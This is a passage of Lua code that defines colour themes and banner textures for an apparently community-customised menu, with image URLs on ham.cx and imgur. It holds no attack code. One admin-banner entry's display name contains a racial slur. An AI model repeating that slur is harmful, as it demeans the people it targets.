blue3Entry = {} blue3Entry.name = "Blue 3" blue3Entry.textureFile = "vanity_logo_blue10.png.enc" blue3Entry.textureUrl = "https://ham.cx/menu/images/blue/blue_10.png" blue3Entry.colors = { primary = { 35, 140, 175, 255 }, primary_light = { 55, 170, 205, 255 }, primary_dark = { 18, 75, 100, 255 }, outline = { 35, 140, 175, 200 } } pendingMenuEntry17.blue3 = blue3Entry end do local blue4Entry = {} blue4Entry.name = "Blue 4" blue4Entry.textureFile = "vanity_logo_blue8.png.enc" blue4Entry.textureUrl = "https://ham.cx/menu/images/blue/blue_8.png" blue4Entry.colors = { primary = { 30, 90, 210, 255 }, primary_light = { 55, 130, 230, 255 }, primary_dark = { 12, 45, 110, 255 }, outline = { 30, 90, 210, 200 } } pendingMenuEntry17.blue4 = blue4Entry end do local blue5Entry = {} blue5Entry.name = "Blue 5" blue5Entry.textureFile = "vanity_logo_blue11.png.enc" blue5Entry.textureUrl = "https://ham.cx/menu/images/blue/blue_11.png" blue5Entry.colors = { primary = { 6, 137, 185, 255 }, primary_light = { 70, 180, 220, 255 }, primary_dark = { 4, 70, 95, 255 }, outline = { 6, 137, 185, 200 } } pendingMenuEntry17.blue5 = blue5Entry end do local blue6Entry = {} blue6Entry.name = "Blue 6" blue6Entry.textureFile = "vanity_banner_blue6_DkhXPyC.png" blue6Entry.textureUrl = "https://i.imgur.com/DkhXPyC.png" blue6Entry.colors = { primary = { 19, 36, 137, 255 }, primary_light = { 55, 85, 175, 255 }, primary_dark = { 4, 13, 68, 255 }, outline = { 25, 50, 130, 200 }, scroll_thumb = { 12, 28, 100, 255 } } pendingMenuEntry17.blue6 = blue6Entry end do local blue7Entry = {} blue7Entry.name = "Blue 7" blue7Entry.textureFile = "vanity_banner_dayone_blue_RW8k4gL_1024.png" blue7Entry.textureUrl = "https://i.imgur.com/kreWyLy.png" blue7Entry.colors = { primary = { 0, 105, 198, 255 }, primary_light = { 0, 208, 249, 255 }, primary_dark = { 10, 12, 20, 255 }, outline = { 0, 186, 238, 200 }, scroll_thumb = { 0, 94, 185, 255 } } pendingMenuEntry17.blue7 = blue7Entry pendingTextureLoadingValue.blue = pendingMenuEntry17 pendingMenuEntry17 = {} end do local brainletEntry = {} brainletEntry.name = "Brainlet" brainletEntry.textureFile = "vanity_banner_private_brainlet_LPItgMT_fullscreen.png" brainletEntry.textureUrl = "https://i.imgur.com/LPItgMT.png" brainletEntry.colors = { primary = { 180, 180, 180, 255 }, primary_light = { 240, 240, 240, 255 }, primary_dark = { 20, 20, 20, 255 }, outline = { 180, 180, 180, 200 }, scroll_thumb = { 120, 120, 120, 255 } } pendingMenuEntry17.brainlet1 = brainletEntry end do local timBlowiEntry = {} timBlowiEntry.name = "Tim Blowi" timBlowiEntry.textureFile = "vanity_banner_private_portrait_LiJFZVh_fullscreen.png" timBlowiEntry.textureUrl = "https://i.imgur.com/LiJFZVh.png" timBlowiEntry.colors = { primary = { 183, 166, 148, 255 }, primary_light = { 220, 205, 190, 255 }, primary_dark = { 40, 35, 30, 255 }, outline = { 183, 166, 148, 200 }, scroll_thumb = { 140, 125, 110, 255 } } pendingMenuEntry17.portrait1 = timBlowiEntry end do local goatEntry = {} goatEntry.name = "Goat" goatEntry.textureFile = "vanity_banner_private_goat_Nq28x2q_fullscreen.png" goatEntry.textureUrl = "https://i.imgur.com/Nq28x2q.png" goatEntry.colors = { primary = { 175, 168, 139, 255 }, primary_light = { 210, 200, 170, 255 }, primary_dark = { 35, 32, 28, 255 }, outline = { 175, 168, 139, 200 }, scroll_thumb = { 130, 125, 105, 255 } } pendingMenuEntry17.goat1 = goatEntry end do local rabbitEntry = {} rabbitEntry.name = "Rabbit" rabbitEntry.textureFile = "vanity_banner_private_rabbit_KIGDNTx_fullscreen.png" rabbitEntry.textureUrl = "https://i.imgur.com/KIGDNTx.png" rabbitEntry.colors = { primary = { 160, 120, 80, 255 }, primary_light = { 200, 160, 120, 255 }, primary_dark = { 40, 30, 20, 255 }, outline = { 160, 120, 80, 200 }, scroll_thumb = { 120, 90, 60, 255 } } pendingMenuEntry17.rabbit1 = rabbitEntry end do local spongebobEntry = {} spongebobEntry.name = "Spongebob" spongebobEntry.textureFile = "vanity_banner_private_spongebob_OLN6RuN_fullscreen.png" spongebobEntry.textureUrl = "https://i.imgur.com/OLN6RuN.png" spongebobEntry.colors = { primary = { 4, 128, 241, 255 }, primary_light = { 44, 168, 255, 255 }, primary_dark = { 0, 78, 191, 255 }, outline = { 4, 128, 241, 200 }, scroll_thumb = { 0, 100, 200, 255 } } pendingMenuEntry17.spongebob1 = spongebobEntry end do local patrickEntry = {} patrickEntry.name = "Patrick" patrickEntry.textureFile = "vanity_banner_private_patrick_POZQEiS_fullscreen.png" patrickEntry.textureUrl = "https://i.imgur.com/POZQEiS.png" patrickEntry.colors = { primary = { 255, 140, 180, 255 }, primary_light = { 255, 190, 210, 255 }, primary_dark = { 40, 15, 30, 255 }, outline = { 255, 140, 180, 200 }, scroll_thumb = { 200, 80, 140, 255 } } pendingMenuEntry17.patrick1 = patrickEntry end do local veroniggaEntry = {} veroniggaEntry.name = "Veronigga" veroniggaEntry.textureFile = "vanity_banner_private_airplane_BhuXOv3_fullscreen.png" veroniggaEntry.textureUrl = "https://i.imgur.com/BhuXOv3.png" veroniggaEntry.colors = { primary = { 132, 121, 118, 255 }, primary_light = { 172, 161, 158, 255 }, primary_dark = { 50, 45, 42, 255 }, outline = { 132, 121, 118, 200 }, scroll_thumb = { 100, 90, 85, 255 } } pendingMenuEntry17.airplane1 = veroniggaEntry end do local sonEntry = {} sonEntry.name = "son" sonEntry.textureFile = "vanity_banner_private_pillar_ZOE9ePi_fullscreen.png" sonEntry.textureUrl = "https://i.imgur.com/ZOE9ePi.png" sonEntry.colors = { primary = { 180, 140, 100, 255 }, primary_light = { 220, 180, 140, 255 }, primary_dark = { 35, 25, 20, 255 }, outline = { 180, 140, 100, 200 }, scroll_thumb = { 130, 100, 70, 255 } } pendingMenuEntry17.pillar1 = sonEntry end do local poorcuzEntry = {} poorcuzEntry.name = "Poorcuz" poorcuzEntry.textureFile = "vanity_banner_private_jenkins_l9snDUL_fullscreen.png" poorcuzEntry.textureUrl = "https://i.imgur.com/l9snDUL.png" poorcuzEntry.colors = { primary = { 120, 160, 90, 255 }, primary_light = { 160, 200, 130, 255 }, primary_dark = { 30, 40, 25, 255 }, outline = { 120, 160, 90, 200 }, scroll_thumb = { 90, 120, 65, 255 } } pendingMenuEntry17.jenkins1 = poorcuzEntry end do local selfieEntry = {} selfieEntry.name = "Selfie" selfieEntry.textureFile = "vanity_banner_private_selfie_iV29zsJ_fullscreen.png" selfieEntry.textureUrl = "https://i.imgur.com/iV29zsJ.png" selfieEntry.colors = { primary = { 205, 201, 195, 255 }, primary_light = { 245, 241, 235, 255 }, primary_dark = { 60, 55, 50, 255 }, outline = { 205, 201, 195, 200 }, scroll_thumb = { 150, 145, 140, 255 } } pendingMenuEntry17.selfie1 = selfieEntry end do local brascoEntry = {} brascoEntry.name = "Brasco" brascoEntry.textureFile = "vanity_banner_private_brasco_1g6iX0V_fullscreen.png" brascoEntry.textureUrl = "https://i.imgur.com/1g6iX0V.png" brascoEntry.colors = { primary = { 80, 70, 65, 255 }, primary_light = { 120, 110, 105, 255 }, primary_dark = { 25, 20, 18, 255 }, outline = { 80, 70, 65, 200 }, scroll_thumb = { 55, 48, 45, 255 } } pendingMenuEntry17.beard1 = brascoEntry end do local onkelEntry = {} onkelEntry.name = "Onkel" onkelEntry.textureFile = "vanity_banner_private_cow_52wxbOd_fullscreen.png" onkelEntry.textureUrl = "https://i.imgur.com/52wxbOd.png" onkelEntry.colors = { primary = { 200, 200, 200, 255 }, primary_light = { 240, 240, 240, 255 }, primary_dark = { 30, 30, 35, 255 }, outline = { 200, 200, 200, 200 }, scroll_thumb = { 150, 150, 155, 255 } } pendingMenuEntry17.cow1 = onkelEntry end do local manuTangaEntry = {} manuTangaEntry.name = "Manu Tanga" manuTangaEntry.textureFile = "vanity_banner_private_pink_OfKYRep_fullscreen.png" manuTangaEntry.textureUrl = "https://i.imgur.com/OfKYRep.png" manuTangaEntry.colors = { primary = { 255, 120, 180, 255 }, primary_light = { 255, 170, 210, 255 }, primary_dark = { 40, 15, 30, 255 }, outline = { 255, 120, 180, 200 }, scroll_thumb = { 200, 80, 140, 255 } } pendingMenuEntry17.pink1 = manuTangaEntry end do local bongsEntry = {} bongsEntry.name = "bongs" bongsEntry.textureFile = "vanity_banner_private_bert_1Foc6Wu_fullscreen.png" bongsEntry.textureUrl = "https://i.imgur.com/1Foc6Wu.png" bongsEntry.colors = { primary = { 220, 180, 80, 255 }, primary_light = { 255, 220, 130, 255 }, primary_dark = { 40, 35, 20, 255 }, outline = { 220, 180, 80, 200 }, scroll_thumb = { 170, 130, 50, 255 } } pendingMenuEntry17.bert1 = bongsEntry end pendingMenuEntry19 = {} pendingMenuEntry19.name = "ricky dr\195\188se" pendingMenuEntry19.textureFile = "vanity_banner_private_druese_2fzdTWA_fullscreen.png" pendingMenuEntry19.textureUrl = "https://i.imgur.com/2fzdTWA.png" pendingMenuEntry19.colors = { primary = { 55, 70, 72, 255 }, primary_light = { 90, 110, 112, 255 }, primary_dark = { 25, 35, 38, 255 }, outline = { 55, 70, 72, 200 }, scroll_thumb = { 70, 85, 88, 255 } } pendingMenuEntry17.druese1 = pendingMenuEntry19 do local rickyShakespeareEntry = {} rickyShakespeareEntry.name = "ricky shakespeare" rickyShakespeareEntry.textureFile = "vanity_banner_private_shakespeare_vm1ejtD_fullscreen.png" rickyShakespeareEntry.textureUrl = "https://i.imgur.com/vm1ejtD.png" rickyShakespeareEntry.colors = { primary = { 210, 170, 70, 255 }, primary_light = { 240, 210, 120, 255 }, primary_dark = { 25, 20, 15, 255 }, outline = { 210, 170, 70, 200 }, scroll_thumb = { 170, 130, 50, 255 } } pendingMenuEntry17.shakespeare1 = rickyShakespeareEntry end do local peacockFinishEntry = {} peacockFinishEntry.name = "Peacock finish" peacockFinishEntry.textureFile = "vanity_banner_private_peacock_eKXbMru_fullscreen.png" peacockFinishEntry.textureUrl = "https://i.imgur.com/eKXbMru.png" peacockFinishEntry.colors = { primary = { 45, 130, 235, 255 }, primary_light = { 85, 165, 255, 255 }, primary_dark = { 15, 40, 80, 255 }, outline = { 45, 130, 235, 200 }, scroll_thumb = { 200, 45, 45, 255 } } pendingMenuEntry17.peacock1 = peacockFinishEntry end do local bossEntry = {} bossEntry.name = "Boss" bossEntry.textureFile = "vanity_banner_private_boss_G1fzd9Y_fullscreen.png" bossEntry.textureUrl = "https://i.imgur.com/G1fzd9Y.png" bossEntry.colors = { primary = { 195, 165, 125, 255 }, primary_light = { 230, 205, 170, 255 }, primary_dark = { 45, 35, 28, 255 }, outline = { 195, 165, 125, 200 }, scroll_thumb = { 150, 120, 85, 255 } } pendingMenuEntry17.boss1 = bossEntry end do local catInTheHeadEntry = {} catInTheHeadEntry.name = "Cat in the head" catInTheHeadEntry.textureFile = "vanity_banner_private_catinthehead_t16xFaZ_fullscreen.png" catInTheHeadEntry.textureUrl = "https://i.imgur.com/t16xFaZ.png" catInTheHeadEntry.colors = { primary = { 220, 35, 45, 255 }, primary_light = { 255, 235, 235, 255 }, primary_dark = { 25, 15, 20, 255 }, outline = { 220, 35, 45, 200 }, scroll_thumb = { 180, 25, 35, 255 } } pendingMenuEntry17.catinthehead1 = catInTheHeadEntry end do local berndCatEntry = {} berndCatEntry.name = "Bernd cat" berndCatEntry.textureFile = "vanity_banner_private_berndcat_0arXJtr_fullscreen.png" berndCatEntry.textureUrl = "https://i.imgur.com/0arXJtr.png" berndCatEntry.colors = { primary = { 180, 140, 110, 255 }, primary_light = { 215, 185, 155, 255 }, primary_dark = { 50, 35, 28, 255 }, outline = { 180, 140, 110, 200 }, scroll_thumb = { 140, 105, 80, 255 } } pendingMenuEntry17.berndcat1 = berndCatEntry pendingTextureLoadingValue.adminbanners = pendingMenuEntry17 pendingMenuEntry17 = {} end do local orange1Entry = {} orange1Entry.name = "Orange 1" orange1Entry.textureFile = "vanity_logo_orange1.png.enc" orange1Entry.textureUrl = "https://ham.cx/menu/images/orange/orange_1.png" orange1Entry.colors = { primary = { 200, 100, 0, 255 }, primary_light = { 230, 130, 0, 255 }, primary_dark = { 150, 70, 0, 255 }, outline = { 200, 100, 0, 200 } } pendingMenuEntry17.orange1 = orange1Entry end do local orange2Entry = {} orange2Entry.name = "Orange 2" orange2Entry.textureFile = "vanity_logo_orange2.png.enc" orange2Entry.textureUrl = "https://ham.cx/menu/images/orange/orange_2.png" orange2Entry.colors = { primary = { 238, 92, 0, 255 }, primary_light = { 255, 144, 28, 255 }, primary_dark = { 88, 32, 0, 255 }, outline = { 238, 92, 0, 200 } } pendingMenuEntry17.orange2 = orange2Entry end do local orange3Entry = {} orange3Entry.name = "Orange 3" orange3Entry.textureFile = "vanity_logo_orange3.png.enc" orange3Entry.textureUrl = "https://ham.cx/menu/images/orange/orange_3.png" orange3Entry.colors = { primary = { 226, 82, 0, 255 }, primary_light = { 255, 136, 32, 255 }, primary_dark = { 82, 28, 0, 255 }, outline = { 226, 82, 0, 200 } } pendingMenuEntry17.orange3 = orange3Entry end do local orange4Entry = {} orange4Entry.name = "Orange 4" orange4Entry.textureFile = "vanity_logo_orange4.png.enc" orange4Entry.textureUrl = "https://ham.cx/menu/images/orange/orange_4.png" orange4Entry.colors = { primary = { 172, 74, 36, 255 }, primary_light = { 200, 95, 50, 255 }, primary_dark = { 95, 40, 18, 255 }, outline = { 172, 74, 36, 200 } } pendingMenuEntry17.orange4 = orange4Entry pendingTextureLoadingValue.orange = pendingMenuEntry17 pendingMenuEntry17 = {} end do local grey1Entry = {} grey1Entry.name = "Grey 1" grey1Entry.textureFile = "vanity_logo_grey1_new.png.enc" grey1Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_1.png" grey1Entry.colors = { primary = { 80, 80, 80, 255 }, primary_light = { 100, 100, 100, 255 }, primary_dark = { 60, 60, 60, 255 }, outline = { 120, 120, 120, 200 }, scroll_thumb = { 88, 88, 92, 255 } } pendingMenuEntry17.grey1 = grey1Entry end do local grey2Entry = {} grey2Entry.name = "Grey 2" grey2Entry.textureFile = "vanity_logo_grey2.png.enc" grey2Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_2.png" grey2Entry.colors = { primary = { 40, 52, 60, 255 }, primary_light = { 100, 118, 128, 255 }, primary_dark = { 12, 20, 26, 255 }, outline = { 100, 118, 128, 200 }, scroll_thumb = { 40, 52, 60, 255 } } pendingMenuEntry17.grey2 = grey2Entry end do local grey3Entry = {} grey3Entry.name = "Grey 3" grey3Entry.textureFile = "vanity_logo_grey3.png.enc" grey3Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_3.png" grey3Entry.colors = { primary = { 80, 80, 80, 255 }, primary_light = { 100, 100, 100, 255 }, primary_dark = { 60, 60, 60, 255 }, outline = { 120, 120, 120, 200 }, scroll_thumb = { 88, 88, 92, 255 } } pendingMenuEntry17.grey3 = grey3Entry end do local grey4Entry = {} grey4Entry.name = "Grey 4" grey4Entry.textureFile = "vanity_logo_grey4.png.enc" grey4Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_4.png" grey4Entry.colors = { primary = { 80, 80, 80, 255 }, primary_light = { 100, 100, 100, 255 }, primary_dark = { 60, 60, 60, 255 }, outline = { 120, 120, 120, 200 }, scroll_thumb = { 88, 88, 92, 255 } } pendingMenuEntry17.grey4 = grey4Entry end do local grey5Entry = {} grey5Entry.name = "Grey 5" grey5Entry.textureFile = "vanity_logo_grey6_new.png.enc" grey5Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_6.png" grey5Entry.colors = { primary = { 80, 80, 80, 255 }, primary_light = { 100, 100, 100, 255 }, primary_dark = { 60, 60, 60, 255 }, outline = { 120, 120, 120, 200 }, scroll_thumb = { 88, 88, 92, 255 } } pendingMenuEntry17.grey6 = grey5Entry end do local grey6Entry = {} grey6Entry.name = "Grey 6" grey6Entry.textureFile = "vanity_logo_grey7.png.enc" grey6Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_7.png" grey6Entry.colors = { primary = { 48, 50, 54, 255 }, primary_light = { 110, 114, 122, 255 }, primary_dark = { 20, 22, 26, 255 }, outline = { 150, 154, 162, 200 }, scroll_thumb = { 106, 110, 118, 255 } } pendingMenuEntry17.grey7 = grey6Entry end do local grey7Entry = {} grey7Entry.name = "Grey 7" grey7Entry.textureFile = "vanity_banner_grey8.png.enc" grey7Entry.textureUrl = "https://ham.cx/menu/images/grey/grey_8.png" grey7Entry.colors = { primary = { 80, 80, 80, 255 }, primary_light = { 100, 100, 100, 255 }, primary_dark = { 60, 60, 60, 255 }, outline = { 120, 120, 120, 200 }, scroll_thumb = { 88, 88, 92, 255 } } pendingMenuEntry17.grey8 = grey7Entry end do local grey8Entry = {} grey8Entry.name = "Grey 8" grey8Entry.textureFile = "vanity_banner_dayone_black_koNo5ti.png" grey8Entry.textureUrl = "https://i.imgur.com/koNo5ti.png" grey8Entry.colors = { primary = { 72, 72, 72, 255 }, primary_light = { 120, 120, 120, 255 }, primary_dark = { 10, 10, 10, 255 }, outline = { 72, 72, 72, 200 }, scroll_thumb = { 55, 55, 55, 255 } } pendingMenuEntry17.grey9 = grey8Entry pendingTextureLoadingValue.grey = pendingMenuEntry17 pendingMenuEntry17 = {} end do local purple1Entry = {} purple1Entry.name = "Purple 1" purple1Entry.textureFile = "vanity_logo_purple1_new.png.enc" purple1Entry.textureUrl = "https://ham.cx/menu/images/purple/purple_2.png" purple1Entry.colors = { primary = { 116, 24, 224, 255 }, primary_light = { 186, 110, 255, 255 }, primary_dark = { 38, 4, 82, 255 }, outline = { 116, 24, 224, 180 } } pendingMenuEntry17.purple1 = purple1Entry end do local purple2Entry = {} purple2Entry.name = "Purple 2" purple2Entry.textureFile = "vanity_logo_purple2_new.png.enc" purple2Entry.textureUrl = "https://ham.cx/menu/images/purple/purple_3.png" purple2Entry.colors = { primary = { 128, 0, 208, 255 }, primary_light = { 182, 38, 248, 255 }, primary_dark = { 48, 0, 84, 255 }, outline = { 128, 0, 208, 180 } } pendingMenuEntry17.purple2 = purple2Entry end do local purple3Entry = {} purple3Entry.name = "Purple 3" purple3Entry.textureFile = "vanity_logo_purple3_new.png.enc" purple3Entry.textureUrl = "https://ham.cx/menu/images/purple/purple_4.png" purple3Entry.colors = { primary = { 132, 0, 202, 255 }, primary_light = { 190, 24, 250, 255 }, primary_dark = { 58, 0, 94, 255 }, outline = { 132, 0, 202, 180 } } pendingMenuEntry17.purple3 = purple3Entry end do local purple4Entry = {} purple4Entry.name = "Purple 4" purple4Entry.textureFile = "vanity_logo_purple4_new.png.enc" purple4Entry.textureUrl = "https://ham.cx/menu/images/purple/purple_5.png" purple4Entry.colors = { primary = { 122, 0, 226, 255 }, primary_light = { 178, 40, 255, 255 }, primary_dark = { 48, 0, 100, 255 }, outline = { 122, 0, 226, 180 } } pendingMenuEntry17.purple4 = purple4Entry end do local purple5Entry = {} purple5Entry.name = "Purple 5" purple5Entry.textureFile = "vanity_logo_purple6.png.enc" purple5Entry.textureUrl = "https://ham.cx/menu/images/purple/purple_6.png" purple5Entry.colors = { primary = { 104, 24, 168, 255 }, primary_light = { 184, 88, 236, 255 }, primary_dark = { 30, 6, 52, 255 }, outline = { 104, 24, 168, 180 } } pendingMenuEntry17.purple5 = purple5Entry end do local purple6Entry = {} purple6Entry.name = "Purple 6" purple6Entry.textureFile = "vanity_banner_purple7.png.enc" purple6Entry.textureUrl = "https://ham.cx/menu/images/purple/purple_7.png" purple6Entry.colors = { primary = { 193, 20, 167, 255 }, primary_light = { 225, 60, 200, 255 }, primary_dark = { 120, 10, 105, 255 }, outline = { 193, 20, 167, 180 } } pendingMenuEntry17.purple6 = purple6Entry pendingTextureLoadingValue.purple = pendingMenuEntry17 pendingMenuEntry16 = "community" pendingMenuEntry17 = {} end do local mayzoxeEntry = {} mayzoxeEntry.name = "Mayzoxe" mayzoxeEntry.textureFile = "vanity_logo_community_scoobydoo.png.enc" mayzoxeEntry.textureUrl = "https://ham.cx/menu/images/community/scoobydoo.png" mayzoxeEntry.colors = { primary = { 32, 92, 28, 255 }, primary_light = { 46, 118, 40, 255 }, primary_dark = { 12, 32, 12, 255 }, outline = { 32, 92, 28, 200 } } pendingMenuEntry17.scoobydoo = mayzoxeEntry end do local entry2FunnyEntry = {} entry2FunnyEntry.name = "2Funny" entry2FunnyEntry.textureFile = "vanity_logo_community_fallout.png.enc" entry2FunnyEntry.textureUrl = "https://ham.cx/menu/images/community/fallout.png" entry2FunnyEntry.colors = { primary = { 179, 188, 193, 255 }, primary_light = { 205, 212, 216, 255 }, primary_dark = { 126, 136, 142, 255 }, outline = { 179, 188, 193, 200 } } pendingMenuEntry17.fallout = entry2FunnyEntry end do local cageEntry = {} cageEntry.name = "Cage" cageEntry.textureFile = "vanity_logo_community_onepiece.png.enc" cageEntry.textureUrl = "https://ham.cx/menu/images/community/onepiece.png" cageEntry.colors = { primary = { 57, 156, 216, 255 }, primary_light = { 87, 186, 246, 255 }, primary_dark = { 34, 123, 180, 255 }, outline = { 57, 156, 216, 200 } } pendingMenuEntry17.onepiece = cageEntry end do local cageEntry = {} cageEntry.name = "Cage" cageEntry.textureFile = "vanity_logo_community_brascowhite_g6g3cwj.png.enc" cageEntry.textureUrl = "https://ham.cx/menu/images/community/brascowhite.png" cageEntry.colors = { primary = { 92, 92, 92, 255 }, primary_light = { 112, 112, 112, 255 }, primary_dark = { 72, 72, 72, 255 }, outline = { 92, 92, 92, 200 } } pendingMenuEntry17.brascowhite = cageEntry end do local luca00Entry = {} luca00Entry.name = "Luca00" luca00Entry.textureFile = "vanity_logo_community_crazygreen.png.enc" luca00Entry.textureUrl = "https://ham.cx/menu/images/community/crazygreen.png" luca00Entry.colors = { primary = { 0, 146, 15, 255 }, primary_light = { 40, 186, 55, 255 }, primary_dark = { 0, 80, 8, 255 }, outline = { 0, 146, 15, 200 } } pendingMenuEntry17.crazygreen = luca00Entry end do local luca00Entry = {} luca00Entry.name = "Luca00" luca00Entry.textureFile = "vanity_logo_community_bugsbunny.png.enc" luca00Entry.textureUrl = "https://ham.cx/menu/images/community/bugsbunny.png" luca00Entry.colors = { primary = { 173, 169, 169, 255 }, primary_light = { 205, 201, 201, 255 }, primary_dark = { 120, 116, 116, 255 }, outline = { 173, 169, 169, 200 } } pendingMenuEntry17.bugsbunny = luca00Entry end do local quizz123Entry = {} quizz123Entry.name = "quizz123" quizz123Entry.textureFile = "vanity_logo_community_darkname.png.enc" quizz123Entry.textureUrl = "https://ham.cx/menu/images/community/darkname.png" quizz123Entry.colors = { primary = { 92, 92, 92, 255 }, primary_light = { 112, 112, 112, 255 }, primary_dark = { 72, 72, 72, 255 }, outline = { 92, 92, 92, 200 } } pendingMenuEntry17.darkname = quizz123Entry end do local ronayyyEntry = {} ronayyyEntry.name = "Ronayyy" ronayyyEntry.textureFile = "vanity_logo_community_darkspace.png.enc" ronayyyEntry.textureUrl = "https://ham.cx/menu/images/community/darkspace.png" ronayyyEntry.colors = { primary = { 48, 48, 48, 255 }, primary_light = { 150, 150, 150, 255 }, primary_dark = { 10, 10, 10, 255 }, outline = { 48, 48, 48, 200 } } pendingMenuEntry17.darkspace = ronayyyEntry end do local lumaEntry = {} lumaEntry.name = "Luma" lumaEntry.textureFile = "vanity_logo_community_supermario.png.enc" lumaEntry.textureUrl = "https://i.imgur.com/r3UHeoH.png" lumaEntry.colors = { primary = { 16, 102, 194, 255 }, primary_light = { 40, 168, 238, 255 }, primary_dark = { 6, 20, 62, 255 }, outline = { 16, 102, 194, 200 } } pendingMenuEntry17.supermario = lumaEntry end do local hazzaEntry = {} hazzaEntry.name = "hazza" hazzaEntry.textureFile = "vanity_logo_community_ilovevanity.png.enc" hazzaEntry.textureUrl = "https://i.imgur.com/mGbsxR7.png" hazzaEntry.colors = { primary = { 250, 2, 4, 255 }, primary_light = { 255, 44, 46, 255 }, primary_dark = { 192, 0, 0, 255 }, outline = { 250, 2, 4, 200 } } pendingMenuEntry17.ilovevanity = hazzaEntry end do local hazzaEntry = {} hazzaEntry.name = "hazza" hazzaEntry.textureFile = "vanity_logo_community_duck.png.enc" hazzaEntry.textureUrl = "https://i.imgur.com/HGRHde6.png" hazzaEntry.colors = { primary = { 2, 76, 169, 255 }, primary_light = { 44, 118, 211, 255 }, primary_dark = { 0, 18, 111, 255 }, outline = { 2, 76, 169, 200 } } pendingMenuEntry17.duck = hazzaEntry end do local ronayyyEntry = {} ronayyyEntry.name = "Ronayyy" ronayyyEntry.textureFile = "vanity_logo_community_greyflowers.png.enc" ronayyyEntry.textureUrl = "https://i.imgur.com/DBpgO4i.png" ronayyyEntry.colors = { primary = { 108, 108, 108, 255 }, primary_light = { 150, 150, 150, 255 }, primary_dark = { 50, 50, 50, 255 }, outline = { 108, 108, 108, 200 } } pendingMenuEntry17.greyflowers = ronayyyEntry end do local n00bie5xEntry = {} n00bie5xEntry.name = "n00bie5x" n00bie5xEntry.textureFile = "vanity_logo_community_timgioh.png.enc" n00bie5xEntry.textureUrl = "https://i.imgur.com/XyZvVzq.png" n00bie5xEntry.colors = { primary = { 43, 101, 185, 255 }, primary_light = { 85, 143, 227, 255 }, primary_dark = { 0, 43, 127, 255 }, outline = { 43, 101, 185, 200 } } pendingMenuEntry17.timgioh = n00bie5xEntry end do local entry046Entry = {} entry046Entry.name = "046" entry046Entry.textureFile = "vanity_logo_community_gleggmire.png.enc" entry046Entry.textureUrl = "https://i.imgur.com/sZXqXjO.png" entry046Entry.colors = { primary = { 48, 108, 198, 255 }, primary_light = { 98, 152, 236, 255 }, primary_dark = { 22, 65, 138, 255 }, outline = { 48, 108, 198, 200 } } pendingMenuEntry17.gleggmire = entry046Entry end do local trqvis19Entry = {} trqvis19Entry.name = "trqvis.19" trqvis19Entry.textureFile = "vanity_logo_community_drachenlord.png.enc" trqvis19Entry.textureUrl = "https://i.imgur.com/PzprjV4.png" trqvis19Entry.colors = { primary = { 52, 52, 52, 255 }, primary_light = { 168, 168, 168, 255 }, primary_dark = { 10, 10, 10, 255 }, outline = { 52, 52, 52, 200 } } pendingMenuEntry17.drachenlord = trqvis19Entry end do local frickerEntry = {} frickerEntry.name = "fricker" frickerEntry.textureFile = "vanity_logo_community_western.png.enc" frickerEntry.textureUrl = "https://i.imgur.com/k18cXJC.png" frickerEntry.colors = { primary = { 65, 135, 141, 255 }, primary_light = { 107, 177, 183, 255 }, primary_dark = { 7, 77, 83, 255 }, outline = { 65, 135, 141, 200 } } pendingMenuEntry17.western = frickerEntry end do local dhlerzfeindEntry = {} dhlerzfeindEntry.name = "dhlerzfeind" dhlerzfeindEntry.textureFile = "vanity_logo_community_deathnote.png.enc" dhlerzfeindEntry.textureUrl = "https://i.imgur.com/u1i9nOq.png" dhlerzfeindEntry.colors = { primary = { 44, 44, 44, 255 }, primary_light = { 172, 172, 172, 255 }, primary_dark = { 8, 8, 8, 255 }, outline = { 44, 44, 44, 200 } } pendingMenuEntry17.deathnote = dhlerzfeindEntry end do local sobri700Entry = {} sobri700Entry.name = "Sobri700" sobri700Entry.textureFile = "vanity_logo_community_bullets.png.enc" sobri700Entry.textureUrl = "https://i.imgur.com/miCeUQ4.png" sobri700Entry.colors = { primary = { 77, 88, 99, 255 }, primary_light = { 119, 130, 141, 255 }, primary_dark = { 19, 30, 41, 255 }, outline = { 77, 88, 99, 200 } } pendingMenuEntry17.bullets = sobri700Entry end do local astraEntry = {} astraEntry.name = "astra" astraEntry.textureFile = "vanity_logo_community_gengar.png.enc" astraEntry.textureUrl = "https://i.imgur.com/xeLE0b0.png" astraEntry.colors = { primary = { 94, 66, 148, 255 }, primary_light = { 152, 126, 198, 255 }, primary_dark = { 28, 18, 48, 255 }, outline = { 94, 66, 148, 200 } } pendingMenuEntry17.gengar = astraEntry end do local yung2leanEntry = {} yung2leanEntry.name = "yung2lean" yung2leanEntry.textureFile = "vanity_logo_community_greenflowers.png.enc" yung2leanEntry.textureUrl = "https://i.imgur.com/k8SrqTA.png" yung2leanEntry.colors = { primary = { 0, 135, 27, 255 }, primary_light = { 42, 177, 69, 255 }, primary_dark = { 0, 77, 0, 255 }, outline = { 0, 135, 27, 200 } } pendingMenuEntry17.greenflowers = yung2leanEntry end do local yung2leanEntry = {} yung2leanEntry.name = "yung2lean" yung2leanEntry.textureFile = "vanity_logo_community_purplematrix.png.enc" yung2leanEntry.textureUrl = "https://i.imgur.com/N6wlDdH.png" yung2leanEntry.colors = { primary = { 76, 22, 166, 255 }, primary_light = { 118, 64, 208, 255 }, primary_dark = { 18, 0, 108, 255 }, outline = { 76, 22, 166, 200 } } pendingMenuEntry17.purplematrix = yung2leanEntry end do local ademz44Entry = {} ademz44Entry.name = "ademz44" ademz44Entry.textureFile = "vanity_logo_community_vanitat.png.enc" ademz44Entry.textureUrl = "https://i.imgur.com/FT4nlZd.png" ademz44Entry.colors = { primary = { 44, 96, 196, 255 }, primary_light = { 92, 142, 232, 255 }, primary_dark = { 18, 52, 130, 255 }, outline = { 44, 96, 196, 200 } } pendingMenuEntry17.vanitat = ademz44Entry end do local twizzyEntry = {} twizzyEntry.name = "Twizzy" twizzyEntry.textureFile = "vanity_logo_community_ufo.png.enc" twizzyEntry.textureUrl = "https://i.imgur.com/Ah0F8RQ.png" twizzyEntry.colors = { primary = { 130, 130, 130, 255 }, primary_light = { 172, 172, 172, 255 }, primary_dark = { 72, 72, 72, 255 }, outline = { 130, 130, 130, 200 } } pendingMenuEntry17.ufo = twizzyEntry end do local pereiraEntry = {} pereiraEntry.name = "pereira" pereiraEntry.textureFile = 